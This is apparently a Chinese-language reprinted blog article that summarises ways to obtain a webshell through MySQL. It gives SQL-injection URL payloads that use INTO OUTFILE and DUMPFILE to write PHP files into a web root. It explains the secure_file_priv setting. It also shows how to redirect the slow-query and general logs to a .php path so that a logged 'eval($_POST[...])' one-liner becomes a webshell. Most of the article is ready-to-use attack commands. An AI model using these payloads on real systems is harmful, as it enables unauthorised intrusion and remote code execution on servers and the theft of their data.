mysql數(shù)據(jù)庫中g(shù)etshell的方式總結(jié)
outfile和dumpfile寫shell
利用條件
- 數(shù)據(jù)庫當(dāng)前用戶為root權(quán)限;
- 知道當(dāng)前網(wǎng)站的絕對路徑;
PHP
的GPC
為 off狀態(tài);(魔術(shù)引號,GET,POST,Cookie)- 寫入的那個路徑存在寫入權(quán)限。
基于union聯(lián)合查詢:
?id=1 union select 1,'<?php phpinfo();?>',3 into outfile 'C:\phpstudy\www\shell.php'%23 ?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:\phpstudy\www\shell.php'%23
非聯(lián)合查詢
當(dāng)我們無法使用聯(lián)合查詢時,我們可以使用fields terminated by
與lines terminated by
來寫shell
?id=1 into outfile 'C:\phpstudy\www\shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
代替空格的方法
+號,%0a
、%0b
、%a0
、 /**/ 注釋符等
outfile和dumpfile的區(qū)別
outfile
:
1、 支持多行數(shù)據(jù)同時導(dǎo)出
2、 使用union聯(lián)合查詢時,要保證兩側(cè)查詢的列數(shù)相同
3、 會在換行符制表符后面追加反斜杠
4、會在末尾追加換行
dumpfile
:
1、 每次只能導(dǎo)出一行數(shù)據(jù)
2、 不會在換行符制表符后面追加反斜杠
3、 不會在末尾追加換行
因此,我們可以使用into dumpfile
這個函數(shù)來順利寫入二進制文件;
當(dāng)然into outfile
函數(shù)也可以寫入二進制文件,但是無法生效(追加的反斜杠會使二進制文件無法生效)
當(dāng)我們使用dumpfile
,應(yīng)該手動添加 limit 限制,來獲取不同的行數(shù)
secure_file_prive
MySQL的secure-file-prive參數(shù)是用來限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。
secure_file_prive= ,結(jié)果為空的話,表示允許任何文件讀寫
secure_file_prive=NULL,表示不允許任何文件讀寫
secure_file_prive=‘某個路徑’,表示這個路徑作為文件讀寫的路徑
在mysql5.5版本前,都是默認為空,允許讀取
在mysql5.6版本后 ,默認為NULL,并且無法用
SQL
語句對其進行修改。所以這種只能在配置進行修改。
查詢secure_file_prive
的參數(shù)
show global variables like "%secure%"
利用sql語句修改參數(shù)
set global secure_file_prive=
但是5.6后不能利用sql修改了,所以只能利用配置修改
修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
日志getshell
慢日志getshell
慢日志:
一般都是通過long_query_time選項來設(shè)置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值(默認為10秒),這個查詢語句將被記錄到慢查詢?nèi)罩局小2榭捶?wù)器默認時間值方式如下:
show global variables like '%long_query_time%' show global variables like '%long%'
查看慢日志參數(shù)
show global variables like '%slow%'
對慢日志參數(shù)進行修改
set global slow_query_log=1 #打開慢日志 set global slow_query_log_file='c:\\phpstudy\\www\\test.php'#慢日志的路徑 注意:一定要用雙反斜杠 SELECT '<?php @eval($_POST[1]);?>' or sleep(11) 這兒11是超過慢日志的10秒時間
利用general_log
利用general_log
,可以將所有到達mysql服務(wù)器的sql語句,都記錄下來。
相關(guān)參數(shù)一共有3個:general_log、log_output、general_log_file
show variables like 'general_log'; -- 查看日志是否開啟 set global general_log=on; -- 開啟日志功能 show variables like 'general_log_file'; -- 看看日志文件保存位置 set global general_log_file='tmp/general.lg'; -- 設(shè)置日志文件保存位置 show variables like 'log_output'; -- 看看日志輸出類型 table或file set global log_output='table'; -- 設(shè)置輸出類型為 table set global log_output='file'; -- 設(shè)置輸出類型為file
一般log_output都是file
,就是將日志存入文件中。table
的話就是將日志存入數(shù)據(jù)庫的日志表中。
getshell
set global general_log=on set global general_log_file='需要攻擊的路徑' select '<?php eval($_POST[cmd]);?>'
這樣就將一句話木馬記錄到general_log
中,從而getshell
binlog的介紹
可以看看這個
總結(jié)
到此這篇關(guān)于mysql數(shù)據(jù)庫中g(shù)etshell方式的文章就介紹到這了,更多相關(guān)mysqlgetshell的方式內(nèi)容請搜索本站以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持本站!
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。